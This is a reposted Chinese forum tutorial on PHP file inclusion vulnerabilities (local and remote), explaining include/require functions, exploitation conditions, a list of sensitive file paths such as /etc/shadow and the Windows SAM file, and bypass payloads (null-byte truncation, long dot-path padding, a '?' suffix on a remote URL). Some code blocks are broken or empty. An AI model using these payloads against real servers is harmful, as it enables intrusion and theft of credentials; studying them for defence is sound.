• 售前

  • 售后

热门帖子
入门百科

WEB安全之文件包含漏洞-------上

[复制链接]
mzbua44 显示全部楼层 发表于 2022-1-12 12:06:39 |阅读模式 打印 上一主题 下一主题
文件包含漏洞


漏洞简述

   服务器通过PHP的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,我们就可以利用这个包含的文件来构造恶意代码进行攻击。
  
漏洞产生的原因

   在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件(即而已文件)
  
文件包含的一些相关函数

  1. include()
  2. #当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时,给出警告,继续向下执行。
  3. include_once()
  4. #功能与include()相同,区别在于当重复调用统一文件时,程序只调用一次。
  5. require()
  6. #require()与include的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
  7. require_once()
  8. #功能与require()相同,区别在于当重复调用统一文件时,程序只调用一次。
复制代码

文件包含类型


1.本地文件包含漏洞(LFI)

利用条件:


  • allow_url_fopen()=On
  • 用户可以动态控制变量

2.远程文件包含漏洞(RFI)

利用条件:


  •  allow_url_include=On&allow_url_fopen=On(两个需要同时开启)
  • 用户可以动态控制变量

实例


1.本地文件包含

源码


源码什么都没过滤,接下来包含任意文件

 
 这样就可以把flag包含出来,由于源码啥都没过滤,还可以去看更有用的信息,比如/etc/passwd

 还可以去看一些日志文件,获取一些有用的信息。

一些敏感文件路径


Windows
   c:\boot.ini // 查看系统版本
  c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
  c:\windows\repair\sam // 存储Windows系统初次安装的密码
  c:\ProgramFiles\mysql\my.ini // MySQL配置
  c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
  c:\windows\php.ini // php 配置信息
  
linux
   /etc/passwd // 账户信息
  /etc/shadow // 账户密码文件
  /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
  /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
  /usr/local/app/php5/lib/php.ini // PHP相关配置
  /etc/httpd/conf/httpd.conf // Apache配置文件
  /etc/my.conf // mysql 配置文件
  
2.远程文件包含


源码



远程机器的文件内容和IP



利用远程文件包含,执行漏洞


从而可以执行命令,此时就可以将文件里面的内容修改为想要执行的命令,达到命令执行
 
 
 远程包含的文件后缀为txt,但是包含后会解析成为PHP,所以能执行命令


一些文件包含的绕过


%00截断绕过


条件 :   magic_quotes_gpc = Off php版本[/code] 由于Windows下目录最大长度为256字节,超出的部分会被丢弃;Linux下目录最大长度为4096字节,超出的部分会被丢弃。所以我们可以设置超过这个字节的payload,将后面的丢弃。
payload
  1. <?php
  2.     $filename  = $_GET['filename'];
  3.     include($filename . ".html");
  4. ?>
复制代码

点号绕过

条件  windows系统
代码

  1. [/code] [size=6][/size]
  2. [size=6]利用  .  绕过 Windows目录支持最大的长度为256,所以.超过256的长度就可以了[/size]
  3. payload 
  4. [code]filename=flag.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
复制代码


?绕过


条件    只能远程文件包含
源码

[code][/code]
可以在文件后面加入 ? 就可以绕过了
payload     ?filename=http://192.168.75.131/1.txt?

下一篇出php伪协议,以及一些其他的文件包含

来源:https://blog.caogenba.net/qq_56158055/article/details/122435676
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

帖子地址: 

回复

使用道具 举报

分享
推广
火星云矿 | 预约S19Pro,享500抵1000!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

草根技术分享(草根吧)是全球知名中文IT技术交流平台,创建于2021年,包含原创博客、精品问答、职业培训、技术社区、资源下载等产品服务,提供原创、优质、完整内容的专业IT技术开发社区。
  • 官方手机版

  • 微信公众号

  • 商务合作